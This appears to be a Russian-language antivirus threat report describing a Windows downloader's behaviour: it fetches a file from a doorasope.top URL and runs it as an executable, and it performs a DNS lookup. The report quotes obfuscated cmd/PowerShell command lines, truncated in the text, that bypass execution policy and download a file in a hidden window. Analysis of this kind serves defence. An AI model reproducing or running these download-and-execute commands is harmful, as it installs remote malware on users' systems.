Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOWERsHE^l^l^.EXe -eXeCuTI^On^PO^l^icY bY^Pa^ss^ ^-n^oP^R^OFil^E^ ^-^w^I^N^Do^w^S^ty^l^E HiD^DEN^ ^(new^-OBject s^ys^t^eM.^n^eT^.WebclI^E^NT^).d^O^Wnload^F^iL^E('http://www.dooraso...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOWERsHE^l^l^.EXe -eXeCuTI^On^PO^l^icY bY^Pa^ss^ ^-n^oP^R^OFil^E^ ^-^w^I^N^Do^w^S^ty^l^E HiD^DEN^ ^(new^-OBject s^ys^t^eM.^n^eT^.WebclI^E^NT^).d^O^Wnload^F^iL^E('http://www.dooraso...' (со скрытым окном)
